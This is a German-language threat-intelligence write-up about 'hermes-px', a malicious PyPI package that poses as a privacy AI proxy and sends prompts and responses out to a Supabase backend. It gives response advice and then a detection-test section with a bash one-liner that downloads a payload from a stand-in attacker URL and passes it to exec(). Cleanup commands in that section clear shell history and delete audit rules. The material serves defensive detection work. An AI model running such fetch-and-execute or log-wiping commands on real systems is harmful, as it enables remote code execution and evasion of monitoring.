hermes-px: Ein falscher Datenschutz-Proxy, der Eingaben exfiltriert und Claude-Code manipuliert

Zusammenfassung

JFrog Security Research hat ein bösartiges PyPI-Paket namens hermes-px identifiziert, das sich als datenschutzorientierter KI-Inferenz-Proxy ausgibt. Anstatt Benutzer zu schützen, leitet es den Datenverkehr über Tor zu einem nicht autorisierten, von einer Universität gehosteten KI-Endpunkt, tauscht oder überschreibt Systemnachrichten und exfiltriert Eingaben und Modellantworten an einen Supabase-Backend. Das Paket bettet auch eine gestohlene, umbenannte Anthropic Claude Systemeingabeaufforderung ein, um die Täuschung zu verstärken. hermes-px wird über das öffentliche PyPI vertrieben und ist über Standard-pip-Workflows installierbar, wodurch es einfach in Entwicklerumgebungen integrierbar ist.

Untersuchung

Forscher überprüften den Quellcode und fanden drei Verschlüsselungsebenen zur Verschleierung sensibler Zeichenketten, sowie einen fest kodierten Supabase-API-Schlüssel und eine Telemetrie-Komponente, die Daten direkt über das öffentliche Internet überträgt. Der entschlüsselte Upstream-Endpunkt löst sich zu einer privaten Universitäts-API auf, die durch Azure WAF geschützt wird, was auf den Missbrauch einer Infrastruktur hindeutet, die nicht für öffentliches Proxying vorgesehen ist. Die Projektdokumentation ermutigt Benutzer zudem, zusätzlichen Code von einer GitHub-URL zu holen und auszuführen, was das Risiko über das Paket hinaus erweitert. Um sich in normale Entwicklungsmuster einzufügen, imitiert hermes-px die OpenAI Python SDK Schnittstelle, wodurch während der Integration weniger Verdacht erregt wird.

Abschwächung

Entfernen Sie hermes-px aus allen Umgebungen und sperren Sie die Abhängigkeitsquellen, um eine Neuinstallation zu verhindern. Rotieren Sie alle Anmeldeinformationen, die in Eingaben, Konfigurationen oder Protokollen offengelegt worden sein könnten, und blockieren Sie den Zugang zur Supabase-Exfiltrationsdomain und anderen identifizierten bösartigen URLs. Wenn Tor speziell zur Unterstützung dieses Tools installiert wurde, entfernen Sie es und überprüfen Sie die zugehörigen Netzwerksteuerungen. Gehen Sie davon aus, dass Eingaben sensible Daten enthalten können, und überprüfen Sie alle erfassten Inhalte auf Geheimnisse, Tokens oder regulierte Informationen.

Antwort

Suchen Sie nach hermes-px-Installationen anhand von Paketinventaren und Baselines von Entwicklerarbeitsstationen, und alarmieren Sie bei ausgehenden Verbindungen zu supabase.co und dem identifizierten Universitäts-API-Endpunkt. Quarantänisieren Sie betroffene Hosts, bewahren Sie relevante Artefakte (Paketdateien, Terminalverlauf, Abhängigkeits-Lockfiles) auf und ermitteln Sie die Exposition, indem Sie feststellen, welche Eingaben und Antworten übertragen wurden. Benachrichtigen Sie betroffene Benutzer und, falls zutreffend, die betroffenen Institution(en) und aktualisieren Sie die Erkennungen, um SDK-Doppelgänger, Tor-vermittelte Proxy-Verhaltensweisen und verdächtige Telemetrie-Module in Python-Paketen zu kennzeichnen.

Simulationsausführung

Voraussetzung: Der Telemetrie- und Basisstatus-Vorflug-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsvorschrift auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffserzählung & Befehle:
  Ein Angreifer hat eine bösartige Python-Nutzlast erhalten, die auf einem öffentlichen GitHub-Repository gehostet wird. Um das Schreiben von Dateien auf die Festplatte zu vermeiden (Reduzierung des forensischen Fußabdrucks), verwenden sie einen einzeiligen Python-Befehl, der:

  1. Ruft urllib.request.urlopen() auf, um den Rohskriptinhalt von GitHub herunterzuladen.
  2. Liest die Antwort und übergibt die Bytes an exec() für die sofortige Ausführung.
  3. Führt den Befehl auf einem kompromittierten Linux-Host aus, auf dem der Angreifer bereits über eine niedrig privilegierte Shell verfügt.

  Dieses genaue Muster (python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") entspricht den Zeichenfolgenkriterien der Erkennungsvorschrift.

• Regressionstest-Skript:

  #!/bin/bash
  #
  # Simulieren bösartiger Python-Ausführung, die die Sigma-Regel auslösen sollte.
  #
  MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py"
  python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"

  Speichern Sie dieses Skript als trigger_detection.sh, machen Sie es ausführbar (chmod +x trigger_detection.sh) und führen Sie es auf dem Zielhost aus.

• Bereinigungskommandos:

  # Es werden keine persistente Artefakte erstellt, aber stellen Sie sicher, dass das Terminal sauber ist.
  history -c                     # Verlauf der aktuellen Sitzung leeren
  sudo auditctl -D               # (Optional) Entfernen Sie alle Laufzeitauditregeln, wenn Sie sie nur zum Testen hinzugefügt haben
  # Wenn Sie eine permanente Regel in /etc/audit/rules.d/ hinzugefügt haben, ziehen Sie in Betracht, sie zu entfernen:
  # sudo rm /etc/audit/rules.d/process_creation.rules